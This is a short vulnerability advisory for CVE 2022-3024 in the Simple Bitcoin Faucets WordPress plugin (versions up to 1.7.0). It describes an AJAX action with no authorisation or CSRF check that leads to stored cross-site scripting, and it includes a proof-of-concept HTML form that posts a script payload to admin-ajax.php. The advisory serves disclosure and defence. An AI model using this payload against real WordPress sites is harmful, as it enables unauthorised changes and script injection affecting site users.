Simple Bitcoin Faucets <= 1.7.0 – Unauthorised AJAX Call to Stored XSS | CVE 2022-3024

Description

The plugin does not have any authorisation and CSRF in an AJAX action, allowing any authenticated users, such as subscribers to call it and add/delete/edit Bonds. Furthermore, due to the lack of sanitisation and escaping, it could also lead to Stored Cross-Site Scripting issues

Proof of Concept

Open a page containing the HTML code below as any authenticated user, or make any authenticated user open it via a CSRF attack

<form action="https://example.com/wordpress/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="action" value="SBF_DB_code_manage_action">
    <input type="text" name="B_COMMAND" value="ADD">
    <input type="text" name="B_PARAM" value="10">
    <input type="text" name="B_PARAM2" value="<script>alert(/XSS/)</script>">
    <input type="text" name="B_PARAM3" value="1">
    <input type="submit" name="submit" value="submit">
</form>
